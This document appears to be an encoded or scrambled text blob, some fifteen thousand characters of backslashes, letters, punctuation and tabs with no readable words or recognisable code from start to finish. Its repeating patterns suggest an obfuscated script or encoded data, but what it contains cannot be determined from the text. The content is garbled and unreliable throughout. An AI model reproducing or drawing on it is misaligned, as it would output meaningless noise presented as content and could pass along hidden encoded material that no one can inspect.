JNTMHJDUUGvLHMMJKTLLIN	TMHJNUP\\\
JNTMHJEUUGvvvv\\\\v\\\\\\\T(\\XKU\\v\\\\T9\\XKU\\\X
DEA,4,#1=63.#*9./532GXIDNAX
DEVEGv\\\\\\\vvv\\\\\\\v\\\\\\	\OJOL
#TUv\\v\\\\v\\\\\T]TE#
NMNMTMHKLUUU\\	Gv\\\\\\\\\\TLLIN	TMHKMUTU\AAA\\\#JO
TEOUU\\	Gvvv\\T]IJI#L	KOJHTUU\\\\	Gv\\T]ILONTUU\\\\	Gv\XLL\\\\A\\\INELTUGvv\\\\\\XH
NN#DM	\A\XLL\R\\\\LLIN	TMHKNUGvvvv\\XLK\\\A\\\\\LLIN	TMHKOU\\R\^ ^\R\\\LLIN	TMHKHU\\R\\^ ^v\R\\#JO
TMHKIU\\\\\\R\\^ ^\\R\E#
NMNMTMHKJU\\\R\\^ ^\\\R\LLIN	TMHKKU\\R\\\^ ^vR\\\\#JO
TMHKDU\\\R\\\^ ^\\R\\\LLIN	TMHKEU\\\\\R\\^ ^\\\R\\
JNTMHKKU\R\\\\^ ^v\R\\\LLIN	TMHDLU\\R\\^ ^Gv\\X	\\A\\\\\<E#
NMNMTMHDMUTXH
NN#DM	U\\\\C\<E#
NMNMTMHDNUTXH
NN#DM	U\\\\\\F\\^^Gv\\\\\\T]E#
NMNMTMHNEUTX	UU\\vvv\\LHMMJKT#JO
TMHDOUP\\#JO
TMHDHUUGv\\\	Gv\v\\\\\T#JO
TMNJMUTX	P\\
JNTMHKOUU\\\\\AAA\\U\\v\HH#EOMTXH
NN#DM	P\X	\R\\\XLKUGv\	J	LOO
NTXH
NN#DM	P\\\\
O

TUUGv\ODLTXH
NN#DM	P\TOKJWHHUUGvvvXKI\\A\\\L	DINOOTUGv\\T]XKI\\\\  \\\
JNTMHDIUTXKIU\\\\@\\TEOLQHOLUU\\	Gv\\\\\XLN
L\\\A\\E#
NMNMTMHDJUTEIITUP\LLIN	TMOEOUUGv\\\X
JIM\\A\\\\\NOLJJTUGv\XLD	L\\\A\\\\ENMIT=>/,=(4\\R\\LLIN	TMMLNUP\\\TJWNUU\\\\R\\LLIN	TMOEOUGvXMLJ	\\A\\\\Tv\\X
JIM\\\R\[S[\\R\\\XLD	LPv\\\XLL\\\R\\[S[\R\XLD	LPvvvUGvvv\\\\X
J	\A\X
JIM\R\\\\\[S[\R\\\\XLD	LGv\\\\\TXMLJ	\\\\\\X	LNJU\\\vv\\\\\XJEI#H\\\\A\\LLIN	TMOMNUTX	LNJUGvvvv\\\T<
JNTMOENUTXJEI#HU\\  \\\	KOM#TXJEI#HP\\\\TLHWLMEUP\\\\	UU\v\\\\X
J	\\\\A\\X	LNJGvGvv\v\X#MKLD\\\A\\JO#	#ETUGv\vv\\\X	JJM\\\A\\\\DOE	KTv\\
JNTKNHUPv\\\\\\T[##/0);##[P\\\\\\[##,0);52#>=/9JH##[P\\\\\[##*9./532##[UPvv\\\TXLN
LP\\X#MKLDP\E#NDNTUUvUGv\\\\\\T]X	JJMU\v\\\\TTU\#TLLIN	TMOEJUP\LU\\B\LU\\LHMMJKT
JNTMHDKUP\#JO
TMHDDUUGvvv\\\	Gvv\\\\v\\\\\XOE\\A\\^^Gvv\\\\\XIH
J
LE\A\\\T=>/,=(4\\R\\LLIN	TIJHUP\\\X
JIM\\\\\R\\\\\E#
NMNMTMHKNUUGv\XDHHL\\A\\\\\E#
NMNMTMHDEUTLLIN	TMHJIUU\\\\\C\\<LLIN	TMHJIUT
JNTIIIUU\\\F\Gvvvv\\T#JO
TMHNEUTXDHHLU\ZZ\\XDHHL\\]AA\^^U\\\v\\XIH
J
LE'!\\A\\\\\\#JO
TMHHJUT=>/,=(4P\\E#
NMNMTMHELUU\\R\[S[\\R\XDHHLGv\\XIH
J
LE'!\A\X
JIM\R\[S[\\R\XDHHLGv\\v\\\\\\TXIH
J
LE\\\XEN
MDU\\\v\\\\X#KJM
O\\A\\<LLIN	TMHHNUTXEN
MDU\\\\C\\\\<E#
NMNMTMHEMUTXEN
MDU\\\F\\\^^Gv\\\\\\T]E#
NMNMTMHNEUTX#KJM
OU\\  \X#KJM
O\\AAA\\\\\\^^U\\\\	Gv\\\\\\TLLIN	TMHOLUT
JNTMHENUP\\\\X#KJM
OP\\\\\\XKL	J	
UU\vXJMK	D\\\A\\\E#
NMNMTJJNUTXKL	J	
'N!UGv\\\\\\\\\\\TXJMK	D\\]AA\^^\ZZ\\TXJMK	DP\\#JO
TMHONUU\\AAA\\\\\\ZZ\\\\\]
KLII##TXJMK	DUU\vXOE\\\A\\XJMK	DGvGv\v\\\v\\\\\\v\\\\\\TXOE\\]AA\^^U\\\\\vSS\\Qvv\X	JJM\A\\LLIN	TMHNNUTLLIN	TMHEOUP\\#JO
TMHEHU\\\\R\\\\\\E#
NMNMTMHOHUTXOEP\\\	U\R\\
JNTMHEIUP\\\X	JJMP\\\\MUGvvv\\\\\T]LLIN	TMHEJUTX	JJMUU\\\vLHMMJKTE#
NMNMTMHDKUP\\\\E#
NMNMTMHEKUUGv\\\\	Gvv\\\\vvvvXOL	
\\\A\\	Gv\\\XMH\\\A\\\\\	Gv\\T<LLIN	TMHEDUTX
J	UU\vXMH\\A\\#
	TTU\\\<
JNTMHEMUTX
J	UUGX	MOAHKVOGXMJEJAX	MOQMMGv\\T
JNTMHEEUTXMHU\ZZ\XMH\\AAA\\X	JJMU\\\vvvXOL	
\\\A\\\\GXO
MADILGXH	ATXO
MBLUCXO
MFQXO
MGv\\\\\\vSS\,4,)\MLF\\Q	vv\\\\v\\\\XEDD#D\\A\\Tv\\\\\\\=>/,=(4\R\\#JO
TIJHUPv\TTE#
NMNMTEIHUU\\\\\C\\\\\+,#?32(92(#85.\\\F\\\\\X
JIMU\R\\\\\LLIN	TMHKNUPv\\UGvvvv\\\\XE#O\\A\\\\TU\\\#TLLIN	TMILLUP\\\\LUGv\\\\\TXE#O\\\\\ZZ\\#JO
TMHJKUTU\Q\\XE#O\\\\\@\\\\\TMLOJNIQMKNNIUU\\v\\\\JLIHM
NLOJTX
J	P\	UGvvvv\\\\\\\\TXEDD#D\\\XO#JNU\\vvvv\X	LK\\A\\\\\<E#
NMNMTMHHNUTXO#JNU\\\C\\<#JO
TMHEMUTXO#JNU\\\\F\\^^Gv\\\\TE#
NMNMTMHEEUTX	LKU\\ZZ\\\\\\#JO
TMNJMUTX	LKP\\XLD	LU\\\]AA\\\\U\v\\\\\XH
E
I\A\#M	OMLN#LJTX	LKP\\\\\XLD	LUGXINE
AENVEGX	LAXINE
QNHGv\TE#
NMNMTMHEEUTXH
E
IU\\\\ZZ\\XH
E
I\\\\]AA\X	LKU\HH#EOMTXO#JNP\\\\XH
E
IUGvv\v	Gv\\\\vv\\\TXOL	
U\\\v\\\\\	OOEHTX
J	P\\\\X	JJMP\\\\#JO
TMILMUUGv\\\\\	J	LOO
NTX
J	P\\\
O

TUUGvvv\\\\\\ODLTX
J	P\\\TOHHWKJUUGXMNAMKL KMGXOL
#AXMN"NMIGv\\\\\HDIEL#	TX
J	UGvvvv\\v\\\\\X	
LNJ\A\\\\\<
JNTMILNUTX
J	U\\C\\\\\\#
	TTU\\\\\<LLIN	TMILOUTX
J	UU\\\\\\F\^^Gv\\\\TX	
LNJ\\\\\\]AA\\X	JJMU\\\\v\\\v\\LHMMJKT#JO
TMHDKUP\E#
NMNMTMNMEUUGX#KAKIEGXKMNLATX#KBLUCX#KFQX#KGvJLIHM
NLOJTX
J	P\\XOL	
\\C\\\XMH\\F\\\\	UGv\\\X	NJL	J\\\\\A\\TU\#TLLIN	TMILHUP\\\\LU\W\\MGv\\	#TLLIN	TMILHUP\\X	NJL	JP\\LLIN	TMHJDUUGv\\\TX	NJL	J\\BA\\\\\TNWMUU\vvvv\	#TE#
NMNMTMILLUP\\#JO
TMHJKUTUP\\\#JO
TMHJDUUGv\\LHMMJKTLLIN	TMILIUP\#JO
TMHHIUUGv\v	Gv\\\\v\	TX	
LNJUGvvvv\\\\XEMID	\\A\\#JO
TMILJUGv\XIIMID\A\\\\\TUGv\\\\TXEDD#D\\\\\\\X
JOLOOU\\\vXJEI#H\A\#JO
TMOMNUTX
JOLOOUGv\\T]<LLIN	TMOENUTXJEI#HUU\\	GXDN
ADIVIGXEH#MAXDN
QOKGv\\\\X#DI#J\\\A\LLIN	TMILKUT#JO
TMILDUU\C\<E#
NMNMTMILDUTX
JOLOOP\\[[U\\F\\\\Gv\\\\\TX#DI#J\]AA\\\\\\ZZ\\
JNTMILKUT#JO
TMILEUUU\<TX#DI#JP\03?7#9$UGv\\\\\X	EEL
\A\\<#JO
TMILNUTX
JOLOOU\\C\\\\\\<E#
NMNMTMIMLUTX
JOLOOU\\\F\\LGv\X	N\\A\<#JO
TMIMMUTX
JOLOOU\\C\<E#
NMNMTMIMNUTX
JOLOOU\\\F\^^Gv\\\\T]#JO
TMHEEUTX	NUU\\v\\LHMMJKTE#
NMNMTMILIUP\\\\
JNTMHDHUUGv\\\TX#DI#J\\]AA\\U\\\v\\\\T
JNTMIMOUTE#
NMNMTMILEUUU\\\\\<TX#DI#JP\03?7#)2UGv\\\\\\\\<TX#DI#JUGv\v	Gvv\\v\\\\TE#
NMNMTMNJMUTX	NP\\\XLD	LU\\]AA\\\U\\\\v\\\\\\\T<#JO
TMIMHUTX
J	UU\vv\\\\\\\TX#DI#J\]AA\\U\\\\v\\T#JO
TMIMOUTE#
NMNMTMIMIUUU\\\<TX#DI#JP\03?7#)2UGv\\\vv\\\\\<TX#DI#JUGvvvvv\\\	Gv\v\\\\\X	N\\\A\\\#M	OMLN#LJTX	NP\\XLD	LUGv\v\\\T]LLIN	TMHEEUTX	NUU\\\\vv\\LHMMJKT
JNTMIMJUP\#JO
TMHEKUUGv\\\\\\TX#DI#J\\\\]AA\\\\U\\v\TE#
NMNMTMIMOUTE#
NMNMTMIMIUUU\\<TX#DI#JP\03?7#)2UGv\\\<TX#DI#JUGv\\\v\	Gv\\v\\T]<
JNTMIMHUTX
J	UU\vSS\,4,\	\\vX#OKATLELWLEUGXNMLAX#OKYMJGv\\\\TX#DI#J\\\\\]AA\\\U\\\\\v\\\\\\TLLIN	TMIMOUTE#
NMNMTMIMIUUU\<TX#DI#JP\\\\03?7#)2UGv\\\\<TX#DI#JUGv\\\\\v\	Gvv\\\\\\\TH
KKTUU\vXEMNIMJI\A\\\\\^ @51	\B ^\\\R\\XEMID	\\\\R\\LLIN	TMIMKU\\\\R\\\X
J	\\\R\[^[\\R\\\^ @S51	B ^Gv\\\\\\\\\\\\\\v\XEMNIMJI\\\\\A\\\^ @51	\#RB ^\R\\XEMID	\\\R\
JNTMIMKU\\R\\X
J	\\\\\R\[^[\\\R\\^ @S51	B ^v\R\\^@51	\#IRB ^\R\XEMID	\\\\R\\\E#
NMNMTMIMDU\R\\\\X
J	\\\R\\[^[\\\\\\R\\^ @S51	B ^v\\\\R\\^@51	\#KRB ^\\\\\\R\\\XEMID	\\R\LLIN	TMIMDU\\R\\\\X
J	\R\\[^[\\\\\R\^ @S51	B ^vv\\\\R\\\^@51	\#DRB ^\\\\R\\XEMID	\\R\\\LLIN	TMIMDU\R\\\\\\X
J	\R\\\\\\[^[\R\\^ @S51	B ^Gv\\\\v\\\\\\\THH#EOMTX
JOLOOP\\\\X	N\\\\\R\\\\XEMNIMJIUU\XIIMID'!\\\A\\TX
JOLOOP\X	NUGv\\vv\\\\\\TX	EEL
U\\	J	LOO
NTX
JOLOOP\\\\\X	EEL
UGvvv\\\\\	J	LOO
NTX
JOLOOP\\\\\
JNTMHJKUTUUGv\\\\TX#DI#J\\]AA\U\\\vvv\\\\TLLIN	TMIMOUTLLIN	TMIMIUUU\\\<TX#DI#JP\\\03?7#)2UGv\\\<TX#DI#JUGvv\vv\\\\TTXOL	
\  \E#
NMNMTMIMEUTXIIMIDU\\\\B\\\\LU\\ZZ\\\\]#IDEDIETUU\\\v\\vv\\\\\LHMMJKTE#
NMNMTMIMJUP\\E#
NMNMTMHIDUUGv\\\\JLIHM
NLOJTX
J	P\\XMHUGv\\\\\\\\\TXIIMID\\\XU\\\\\HH#EOMTX'L!P\X'M!UGv\X	NJL	J\\A\TU\\\\\#TE#
NMNMTMILHUP\\LU\\\\W\\\\MGv\	#T#JO
TMILHUP\\X	NJL	JP\
JNTMHJDUUGv\\\TX	NJL	J\\\BA\TJQOUU\\v\\\\\	#T#JO
TMINLUP\\E#
NMNMTMINMUTUP\#JO
TMINNUUGv\\\\LHMMJKT#JO
TMIMJUP\
JNTMINOUUGv\\\vvv\\\\	Gv\v\\\\\\TTU\\#T#JO
TMILHUP\\LU\B\LU\\\\\	#TE#
NMNMTMILHUP\\\LP\LLIN	TMINNUUGv\\\\TTU\\\\#TE#
NMNMTMINLUP\\\LU\\\\B\\\LU\\\<#T
JNTMINLUUGvvvv\\\\T(\\\XKU\\v\\LHMMJKTLLIN	TMINHUP\\XKUGv\\\\\\\\\T9\\\\\XKU\\v\\\\\\LHMMJKTLLIN	TMINIUP\\\\XKUGXE	D	HAJKIGX	LKNHDATXE	D	HBLUCXE	D	HFQXE	D	HGv\\vv\\	\


MEILTUv\\\\v\\\\\\v\\T]T
JNTMINJUUU\	Gv\\\\\\\\T]E#
NMNMTMIMOUTE#
NMNMTMINKUUU\\	GXIA,4,#1=63.#*9./532GXLM#J#AXIVMLGv\XJNK\A\\ENMIT=>/,=(4\\R\\\E#
NMNMTMINDUP\\TLOWLKUUGvvvv\\\XKI\A\L	DINOOTUGv\\\\\\T]XKI\  \\#JO
TMHDIUTXKIU\\\@\\\THKHWNJUU\\\\\	GvvX#MKLD\\A\JO#	#ETUGv\\\\vv\\\\X	\A\\\<#TXJNKP\\\\\^^UGv\\\\\\TX	\\ZZ\#JO
TMHDIUTX	U\\\\AAA\\E#
NMNMTMINEUTX#MKLDU\\ZZ\X	\\AAA\\X#MKLDU\	Gv\T
JNTMIMOUT
JNTDKEUUU\\\\\v\\\\	#TXJNKP\\\X#MKLDP\LLIN	TMINNUUGv\\\\\\TT#JO
TMIOLUU\\ZZ\\TE#
NMNMTMIOMUU\\ZZ\T
JNTMIONUU\ZZ\TE#
NMNMTMIOOUU\\\ZZ\\\\\
JNTEKKUT
JNTMIOHUUU\\\vX	LIHD\\A\#JO
TMIOHUGvXIEL\\A\<\\\\X	LIHDTTE#
NMNMTMIOLUUP\\TLLIN	TMIOIUUP\\T#JO
TMIONUUP\TE#
NMNMTMIOOUUUGvvv\\\\\\\\TXIEL\\\\ZZ\]XIELQB#U\\vSV\\	\VSvv\X\A\TX;03>=0/'LLIN	TMOHLU!QBU\C\X;03>=0/'LLIN	TMOHLU!QB\\\\F\\\E#
NMNMTMIOJUGv\\X	#HN\A\\XIELQB##TX#MKLDUGv\XL

##I\\A\\XIELQB##TXJNKUGv\\\\\XIELQB	T^ HE H/9 IN(\ HE2( H\X KO\T J J# JM JP\ J KH JE#
 KI JIP\	 KH J JHU\ IJ HM0 II HI/\T[XL

##I[P\[X	#HN[P\[[U\32\8 II,05 HO=(9\79%\) IL8=( HI\ J KH JE J#
 J KIA[X	#HN[^UGv\\\\\TXIELQBU\\\\LHMMJKT
JNTMIOKUP\\LLIN	TMIODU\R\\\E#
NMNMTMIOEUTXIELQBP\\\\\LP\\TMI@@OUUUGv\\\XIELQBTUGvvvvv\\vvvv\\\\\T(\\\XKU\\vSS\$	\F\	\vv\\\LHMMJKT#JO
TMIOKUP\\XKUGvvvv\\\\\\\T9\\XKU\\v\\\\\vSS\	\vvv	\\OI#HJEKNOOTUv\\v\\X\\\A\T#JO
TEIHUU\\C\\\+,#?32(92(#85.\\F\\\\=>/,=(4\\R\\
JNTDHOUGv\\XME\A\\ENMIT=>/,=(4\\R\\\LLIN	TMIHLUP\\TM@@OUUGv\\\\\\\	\\\\TX\\R\\\#JO
TIHJUP\X\R\\\E#
NMNMTMIHMU\\\\\\R\\\XME\\R\\\\#JO
TMIHNUP\\\\XMEUGvvvv\\	\\HMJ#
OMM#TXDIDOEUvvv\v\\\\\\XJMOK\\\A\\TU\\\\\<
JNTMMMEUTXDIDOEUGvvv\\\\\\\\TXJMOK\@\TLNWLOKU\\\  \\XJMOK\\B\TLMIINODWLDUU\\\\	\\Gvv\\\XMJJO\\\\A\<E#
NMNMTMIMNUTXDIDOEUGv\\\T]
JNTMHEEUTXMJJOU\\  \\\LLIN	TMINEUTXMJJOU\\\\@\TOEWJMU\  \LLIN	TMINEUTXMJJOU\\\B\\TKDLODIWMOMJKJKUU\	\Gv\\\X#HKD\\\\A\LLIN	TMMLIUT[F[P\\XMJJOP\\\\TNOI"NOEUUGv\\\\\TLLIN	TMIMEUTX#HKDU\\\@\TNL"MJU\\\\  \\\X#HKD'L!\]AA\LLIN	TMIHOU\\  \#JO
TMINEUTX#HKD'TMLI"MLJU!U\\\\\\@\\\\THMWEUU\	\\\\\\Gv\\\XHELI
\\A\<#JO
TMIHHUTX#HKD'TMWNU!UGv\\\\TXHELI
\\\\\\AAA\\  \\\\\LLIN	TMIHIUTXHELI
U\\\\\@\\TLOWLNUU\\	\\\Gvvvv\\\TE#
NMNMTMIOEUTXHELI
P\LP\\NU\\\\AAA\\^ M D^U\\v\\XDM
KK
\\A\\\<LLIN	TNELUT[*[P\
JNTMIOEUTXHELI
P\\QTJM"IKUUUGv\\\\\\\\T]LLIN	TMIHJUTXDM
KK
U\  \\XDM
KK
'M!\\\\\@\\TNN"MMHU\  \\\\\XDM
KK
'M!\\\\B\TMLHDHELWDJUU\\	\\Gv\\\TLLIN	TMIHKUTE#
NMNMTMIHDUUU\\\\XHELI
\\A\\\\<TXHELI
P\\TMLHDIJKWEUUGvv\\\\\TE#
NMNMTMIHEUTE#
NMNMTNEOUUU\\vXHELI
\\\\A\\<T#JO
TMIOEUTXHELI
P\\\\\TDWNUP\\\LLIN	TMIILUTXHELI
U\\Q\\TKO"EMUUP\\TMLHDIIJWNLUUGv\\\\\\\TE#
NMNMTMHEEUTXHELI
U\\\\\\ZZ\\\#JO
TMIILUTXHELI
U\B\\\\TMLHDIKLWJUU\\\\\	\\\\\Gv\\\\\\\vv\\\\\\\\\	\\Gvv\\\\T]E#
NMNMTMIIMUTXHELI
U\\\  \LLIN	TMIINUTXHELI
U\\@\\TDHWMJU\  \\E#
NMNMTMIIOUTXHELI
P\LP\\\TMJH"MJMUU\]AA\\E#
NMNMTKHKU\\\\\\  \\\LLIN	TMHNDUTXHELI
U\\\\]AA\\X#HKD'N!U\\\\	\\\\\\Gv\\	\XHELI
GXDMEKADMIGX#JJH
OEATXDMEKBLUCXDMEKFQXDMEKGvvvvv\\	\MTUvvvv\\\\\v\\\\\\\T]T
JNTMINJUUU\\	Gv\\\\\\\X	#E
\\\A\OI#HJEKNOOTUGv\\T]<#JO
TMIMHUTX	#E
'M!UU\\	Gv\\\\\\\THMJ#
OMM#TX	#E
'M!U\AAA\\\U\	GXEEHAONVEGXOKAXEEHQMJGv\\\\\\XLN	LI
\A\\\DOE	KTE#
NMNMTKOLUP\T[##/0);##[UP\\\T#JO
TMHDJUTEIITUP\\E#
NMNMTMOEOUUUUGv\\\\\T]
JNTMIIMUTXLN	LI
U\\\\  \\\XLN	LI
\\AAA\\^^U\\\	Gv\\\XLN	LI
\\\\A\LLIN	TMHNNUT
JNTMIIHUP\^^P\\\\XLN	LI
UGv\\\\T]E#
NMNMTMIIMUTXLN	LI
U\\  \\\XLN	LI
\AAA\\\^^U\	GvXH
N
\\\A\\\\\\E#NDNTU\\\R\\[F[\\\\\R\\ENMIT=>/,=(4\R\\E#
NMNMTMIIIUP\\TLNWLJUUGv\X
	DIHD#\\\\\\A\
JNTMIIJU\R\\\\XH
N
\\R\\\\\\E#
NMNMTMIIKUGv\XNDLIN\\A\\
JNTMIIDU\\R\\\XH
N
\\R\\
JNTMIIKUGvvv\\X
MN\A\LLIN	TMIIEU\R\\\\X	#E
'N!\R\\E#
NMNMTMIJLU\\R\\\\\\E#NDNTU\\\R\\\
JNTMIIKU\R\\\\^ ^\\\\\R\\\\\XLN	LI
Gvvv\\\\T]<LLIN	TMIMHUTX	#E
'L!UU\\\v\\\\T]NJ
NK#OETX	#E
'L!P\\^^UU\v\\LHMMJKT
JNTMIHLUP\E#
NMNMTMIJMUUGvvvv	Gv\\vSS\<\vv\\THH#EOMTX	#E
'L!P\\\\\X
MNUU\\\vv\\\\\	J	LOO
NTX	#E
'L!P\\\
O

TUUGv\ODLTX	#E
'L!P\\TOJIWIIUUGv\\\HDIEL#	TX	#E
'L!UGv\vSS\+,\>\*F\\	vv\	Gvvvvv\\X#O\A\\<E#
NMNMTMIMNUTX	#E
'L!UGv\\\\\\\\\T]LLIN	TMIIMUTX#OU\\  \\
JNTMIINUTX#OU\\\B\\\TNLEKLEDWIHUU\	Gv\\\TLLIN	TMIJNUTX#OP\X
	DIHD#U\\]AA\\\\\\ZZ\\E#
NMNMTMIJNUTX#OP\\XNDLINU\]AA\\U\\\	Gv\\T
JNTMIJNUTX#OP\LLIN	TMIJOUU\\\\\AAA\\\\ZZ\\E#
NMNMTMIJHUTX#OP\\\\LLIN	TMIJIU\\R\X	#E
'N!U\]AA\\U\vvvv\\\\T
JNTMIJJUT#JO
TMIJKUP\E#
NMNMTMIIOUTX#OP\\LP\\TMEIWIUUP\\XLHLMJU\ZZ\
#TXLHLMJ'M!P\\\\E#NDNTUP\LLIN	TMEDUUU\	Gv\\\\\T]NJ
NK#OETX	#E
'L!P\X#OUU\\v\\\\LHMMJKT
JNTMIJDUP\
JNTMIJMUUGXD	M
#AQKIDGX#HNNATXD	M
#BLUCXD	M
#FQXD	M
#Gv	Gvv\\\\\\THH#EOMTX	#E
'L!P\X
MNUU\\v\\\\	J	LOO
NTX	#E
'L!P\\\\\\
O

TUUGv\\\\\\\ODLTX	#E
'L!P\\\\TLMNWLKKUUGv\\\\\HDIEL#	TX	#E
'L!UGv\\\v\	Gvv\XNJEJ\\\A\\ENMIT=>/,=(4\\R\\
JNTMIIIUP\\\\\TLJWLNUUGv\\\X#O\A\E#
NMNMTMIJEUTE#
NMNMTMIKLU\\\\R\\XNJEJ\\\\\R\\
JNTMIKMUP\\^^P\X#OUGv\\\\\\\\\T]E#
NMNMTMIIMUTX#OUU\v\\\\LHMMJKTE#
NMNMTMIJDUP\#JO
TMHEKUUGvvvv\	Gvv\\\\\\\\\\\T]<#JO
TMOENUTX	#E
'L!UU\\\\\	Gvvv\\T]LHDIKTLLIN	TMIKNUUU\\v\\\\LHMMJKT
JNTMIKOUP\\
JNTMIKHUUGv\\\\\	Gv\v\\\\T]NJ
NK#OETX	#E
'L!P\\\\\X#OUU\v\LHMMJKTE#
NMNMTMIKOUP\\LLIN	TMIJMUUGX		OAHHJIGXJLDNAX		OYMMGv\	Gv\vHLO
NTE#
NMNMTMIKIUUGvv\\\\\\XHOK\A\X
	DIHD#\R\\\^ ^\R\\\\\\
JNTMIKJU\R\X	#E
'N!\\R\LLIN	TMIIKU\R\\^ ^\\\\\R\\\XLN	LI
\\R\^ ^\R\\XNDLINGv\\\\HH#EOMTX	#E
'L!P\O	#NDTX#OP\XHOKUUGv\\\\\\\\\T(\XKU\\\v\\\LHMMJKT
JNTMIKKUP\\XKUGv\\\\\T9\\XKU\v\\\\v\\vv\\\\	\\\\NKLMOHIHO
OTUv\\\\\\v\\\\\\\v\\\\\\\\T]T#JO
TMINJUUU\	Gv\\X	#E
\\A\\\\\\OI#HJEKNOOTUGv\\X
DHI\A\TU\\\\\\<
JNTMIKDUTX	#E
'M!P\\P\\	P\\LP\\\\TH@@HUUGvvvv\\TLLIN	TMIKEUT
JNTMIDLUP\X
DHIP\\\\XNNOMMU\\ZZ\\\XNNOMM'M!\\AAA\\E#NDNTUU\\v\XLLKN\A\\\TU\\#TLLIN	TMIDMUP\\\LUGv\\\\\\\T
JNTMINMUTU\\\Q\\XLLKN\\\@\\\\TIODWJNUU\\	Gvv\\\THMJ#
OMM#TX	#E
'M!U\\\\\]AA\\\U\\\XILAEMIEGXIMODEAXILYOGv\\\\<	#TE#
NMNMTMIDMUP\\\#JO
TMINMUTUP\\
JNTMINNUUGv\\\\	GXK
MIATLOOWLELUGX	HAXK
MIYMIGv\\\\v\\\LHMMJKTLLIN	TMIKKUP\\E#
NMNMTMIDNUUGv\v\\XKI\\\\\A\\L	DINOOTUGvv\\\\\T]XKI\  \\\\
JNTMIINUTXKIU\\@\THKIWNIU\\\\\  \\LLIN	TMIINUTXKIU\\B\\\\TMLHDHDOWEOU\  \\]LEIOTXKIUU\\\	GXNMATLDWLMUGX
KO
HOLAXNMYEGv\\\XL\\\\\A\\E#
NMNMTMIHEUTE#
NMNMTNDOUU\\\\\C\\\\\\<TXKIP\\TOK"OIUU\\F\\XKIGv\\T]#JO
TMIIMUTXLU\\  \XL\\\AAA\\^^U\\\\	Gv\\\\\\\THH#EOMTX	#E
'M!P\\LLIN	TMIDOU\\\R\\E#NDNTU\\R\[F[\\R\\
JNTMIDHUTXKIU\R\\\\[F[\\\\\R\#JO
TMOKIUTXLUUU\\\\\<	#T
JNTMIDMUP\\\
JNTMINMUTUP\\E#
NMNMTMIDIUUGv\\\\\\\\\T(\\XKU\\\v\\LHMMJKTLLIN	TMIDJUP\\XKUGv\\\\\\\\\\\\\T9\\\XKU\v\\v\v	\KOLEMNMTUvvv\\\\\T]
JNTMIHEUTE#
NMNMTMIDKUUU\	\GvXHM#D\\A\\\T
JNTMINJUU\ZZ\<LLIN	TMIMMUT=>/,=(4\\\\\R\\\E#
NMNMTIJEUU\\C\\\\=>/,=(4\\\\R\\
JNTIJEU\\\\F\\\\##:509##Gvv\\\	\#JO
TMIDKUTXHM#DP\\[[UGvvvv\\\\\\v\	\I
K
LMKTUv\\v\\\\v\\\\\\\\T]E#
NMNMTMIHEUTE#
NMNMTMIDDUU\\\\  \\]LLIN	TMIDEUT
JNTMIELUUU\\\\	Gv\\\\\\\\T]T
JNTMIEMUUU\\	Gvvvv\XKI\\\\\\A\\\L	DINOOTUGv\\\T]XKI\\\\\  \\#JO
TMIENUTXKIU\@\\\TDMHQOMHUU\\\	Gv\\X\\\\A\KOLEMNMTUGvvv\TX\AAA\\\U\\\	GvvXHN

L\\A\\#JO
TMIDEUTLLIN	TMIEOUU\C\\E#
NMNMTMIEOUTE#
NMNMTMIEHUP\XKIU\\F\\\\#JO
TMIDHUTXKIUGv\\\XOO
D\A\\LLIN	TMIEIU\R\\#JO
TMIENUTXKIU\R\\[F[\\\R\\XHN

L\\\R\\\\\\^ ^\\R\XKIGv\X#MOOEH#\\\\\\A\#JO
TMIENUTXOO
DUGvXOD
H
L\A\\\\<#JO
TMIDDUTXP\[[P\\\LP\\LUGv\\\\\\TXOD
H
LU\\\vXOJ#O\\\\\\A\TU\\\\<E#
NMNMTMIEJUTXOD
H
LUGvvvv\\\XMH\\\A\\<#JO
TMIEKUTXOD
H
LP\\\LP\\XOJ#OUGv\\\\\\TE#
NMNMTMIEDUTXMHU\\\ZZ\\E#
NMNMTMIJHUTXMHP\\\\\XKIU\\\]AA\\U\\v<
JNTMIEEUTXOD
H
LUGv	GvvSS\<Q\	vv\\\\\TXOJ#O\\\\BA\X#MOOEH#U\v\\<
JNTMIEEUTXOD
H
LUGv\\\XOD
H
L\\\A\\<#JO
TMIDDUTXP\[[P\LP\LUGv\\\\TXOD
H
LU\\v<#JO
TMJLLUTXOD
H
LP\\\E#
NMNMTMJLMUTXOO
DP\XOJ#OP\\^ L^UP\\\\\LUGvXM	\\\\\A\<LLIN	TMIEKUTXOD
H
LP\\\\\\LP\\\\X#MOOEH#UGv\<#JO
TMJLNUTXOD
H
LUGv\\\\\\\\\\\TXM	\\]AA\\XOO
DU\\\\LHMMJKTLLIN	TMJLOUP\\#JO
TMJLHUUGv\vvv\\\\	Gv\\\\\\\\\\v<LLIN	TMJLIUTXOD
H
LUGv\\\\\\\<E#
NMNMTMJLNUTXOD
H
LUGvv\\\vSS\3//0\O\
\\vvXOJ#O\\\\\A\\X#MOOEH#\W\\\TEEJWNDUGv\\\\\\XOD
H
L\\\A\\<E#
NMNMTMIDDUTXP\[[P\\TLMWLOUP\XOJ#OUGv\\\\\\T]XOD
H
LU\	Gv\vv\<#JO
TMJLLUTXOD
H
LP\
JNTMJLMUTXOO
DP\XOJ#OP\\\^ L^UP\\\\LUGvvv\\\\XM	\A\\\\\<
JNTMIEKUTXOD
H
LP\\LP\X#MOOEH#UGv\\\\\\\\\\TXM	\\\\\]AA\XOO
DU\\\LHMMJKTLLIN	TMJLOUP\\#JO
TMJLHUUGv\\<E#
NMNMTMJLNUTXOD
H
LUGv\\\\\T(\\\\\XKU\XDMKMATLWLEEUGXNDEAXDMKMYHGv\\\\LHMMJKTE#
NMNMTMJLOUP\\\\\XKUGv\\\\\\\\\\\T9\XKU\\vvv\vv\\	\\\O	#NDTX	P\\\XHOKUv\vvv\\T]#JO
TMIEDUTX	U\\\  \X	\\\\\AAA\\^^U\\\	\\\\#JO
TEENU\R\\\XHOK\\\\\R\\^ ^Gv\\\\\\TE#
NMNMTMIKEUTLLIN	TMJLJUP\X	P\XOLKEP\\,.9;#3::/9(#?=,().9UU\\\v\\\XKJDEM	\A\XOLKE'L!'M!\W\E#
NMNMTMIENUTXOLKE'L!'L!UGvXI	KD
HN\\A\\\\
JNTMJLKUTX	P\\\\XKJDEM	P\\TDMHEWHOUUGv\\\\\\\TE#
NMNMTMJLDUTXI	KD
HNU\\ZZ\\\E#
NMNMTMIKEUT
JNTMJLEUP\XI	KD
HNP\X#UU\\\vvv\\\\\\\XKJDEM	\\\\WA\\
JNTMIENUTX#'L!UGv\\XI	KD
HN\\\\A\\
